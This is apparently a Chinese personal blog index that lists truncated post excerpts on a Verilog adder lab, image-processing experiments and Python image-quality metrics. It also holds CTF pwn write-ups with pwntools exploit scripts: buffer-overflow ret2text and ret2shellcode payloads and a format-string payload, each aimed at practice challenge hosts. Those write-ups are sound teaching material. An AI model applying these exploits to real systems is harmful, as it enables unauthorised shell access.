超前进位加法器设计实验
超前进位加法器设计实验新建工程选择xc7a100tlcsg324-2L板卡型号
1.结构描述建模全加器FA添加design sources
代码示例12345678910111213//使用结构建模方式建模全加器FA模块`timescale 1ns / 1psmodule fa(A, B, CI, S, CO); output S, CO; input A, B, CI; wire S1, T1, T2, T3; xor XOR_1(S1, A, B), //S1 = A 异或 B XOR_2(S, S1, CI); //S = S1 异或 CI and AND_1(T1, A, B), //T1 = AB AND_2(T2, S1, CI); //T2 = S1CI or OR_1(CO, T1, T2); //CO = T1 + T2endmodule
添加simulation sources
仿真代码示例利用 ...
图像处理20211027
枚举法分析通过AB分区的具体状态来判断中心点属于哪一个部分,这里先分析$3*3$的区域(只从该区域无法判断的,先标为无法判断,在之后扩充)
A:B = 1:7中心点属于B:1.
A:B = 2:6中心点属于B:1.
2.
3.
4.
无法判断:1.
若此属于A,否则属于B
2.
若此属于A,否则属于B
A:B = 3:5中心点属于B:1.
2.
3.
无法判断:1.
2.
3.
4.
5.
6.
若此属于B
若此属于A
7.
若此属于A
A:B = 4:4全部无法判断
CTFHUB-PWN-ret2shellcode
CTFHUB-PWN-ret2shellcodechecksec
IDA
从main函数来看,程序运行时会先输出buf_addr,利用exp脚本获取它即可。
然后程序给出一个输入点,可以通过覆盖完这个输入点,返回到我们获得的buf_addr,再通过溢出达到shellcode
运行
可以看到一串地址,但它会每次变化
EXP123456789101112131415from pwn import *p = process('./pwn')# p = remote('challenge-2e237696f74ad1c2.sandbox.ctfhub.com', 24809)context.arch = 'amd64'p.recvuntil('it : [')buf_addr = int(p.recvuntil(']', drop = True), 16)shellcode_addr = buf_addr + 0x10 + 0x8 + 0x8shellcode = asm(shellcraft. ...
CTFHUB-PWN-ret2text
CTFHUB-PWN-ret2textchecksec
IDA
main函数中的gets函数有溢出漏洞,那么看一下有什么可以利用的。
查看字符串:
发现有/bin/sh/可以利用,而且它在函数secure中:
本来看到这样一个函数,是想要构造伪随机,预测随机值,使得v3 == v2成立,从而得到shell,但是题目名字ret2text显然是hint,那么我就使用ret2text的方法
覆盖该变量需要0x78的长度
再找到/bin/sh/的text段位置:
得到0x4007B8
EXP12345678910from pwn import *# p = process('pwn')p = remote('challenge-0297c21d40a13395.sandbox.ctfhub.com', 29225)payload = b'a' * (0x78) + p64(0x4007B8)p.recv()p.sendline(payload)p.interactive()
结果
XCTF-PWN-实时数据监测
XCTF-PWN-实时数据监测题目描述小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据库系统。小A意识到实时数据库系统会采集并存储与工业流程相关的上千节点的数据,只要登录进去,就能拿到有价值的数据。小A在尝试登陆实时数据库系统的过程中,一直找不到修改登录系统key的方法,虽然她现在收集到了能够登陆进系统的key的值,但是只能想别的办法来登陆。
WPchecksec
IDA
发现只需要让key == 356795746,就能拿到shell
得到key的地址:0x0804A048
而imagemagic函数中有格式化字符串的漏洞
测试偏移
找到0x61616161的位置,得到偏移为12
EXP12345678910111213from pwn import *# p = process('./sssjjc')p = remote('111.200.241.244', 52134)context.log_level = 'debug'key_addr = 0x0804A048payload = fmtstr_paylo ...
XCTF-PWN-反应釜开关控制
XCTF-PWN-反应釜开关控制题目描述小M在里一个私人矿厂中发现了一条TNT生产线中硝化反应釜的接口,反应釜是一种反应设备,非常的不稳定,会因为很多原因造成损坏,导致生产被迫停止。她怀疑这个工厂可能进行地下军火的制作,所以小M打算通过把反应釜关闭掉来干扰这条TNT生产线的运行,但是反应釜有多个闸门,得想办法帮她把闸门都关掉才行。
WPchecksec1234567ubuntu@LAPTOP-V4AB5SPG:/mnt/d/me/CTF/xctf/fyfkgkz$ checksec ./fyfkgkz[*] '/mnt/d/me/CTF/xctf/fyfkgkz/fyfkgkz' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
IDA
发现gets函数可以溢出,并且可以找到shell函数,如下图:
查看v5在栈中的情况:
需要 ...
图像处理20210929
去除毛刺的实验样例图片:
存在问题一番实验过后发现效果不行
算法细节(补充)根据讨论纪要中的算法,制定了两项的测试方案:
对全图取2X2的像素矩阵为一个单位,根据人为确定的阈值(如10与10附近的一些值),来确定划分边,结果发现被标记为一次划分的边不一定与毛刺有关联
为了提高实验效率,随机抽取多组肉眼可见的带有毛刺的局部样例,利用讨论纪要中的划分方式(将分割边连在一起,划分出两个部分,噪声被划分在哪一个部分就用该部分最接近与噪声值的像素值进行赋值)进行划分测试
分析原因利用脚本将图片绘制到execl表格
代码示例123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899# -*- coding: utf-8 -*-from PIL import Imageimpor ...
python实现IQA图像质量评价
全称:Image Quality Assessment
百度百科 IQA:https://baike.baidu.com/item/IQA/19453034?fr=aladdin
主观评价主观评价方法主要可分为两种:绝对评价和相对评价。
但是实现起来都有困难,这里先不考虑。
客观评价全参考基于图像像素统计基础
峰值信噪比(PSNR):PSNR值越大,表明待评图像与参考图像之间的失真较小,图像质量较好
均方误差(MSE):MSE的值越小,表明图像质量越好
代码示例12345678910111213141516171819202122232425import cv2 as cvimport numpy as npimport math# 均方误差(MSE):MSE的值越小,表明图像质量越好def get_mse(img1, img2): return np.mean((img1 / 255. - img2 / 255.) ** 2)# 峰值信噪比(PSNR):PSNR值越大,表明待评图像与参考图像之间的失真较小,图像质量较好# 基准为30dB,小于30为劣质def get_psn ...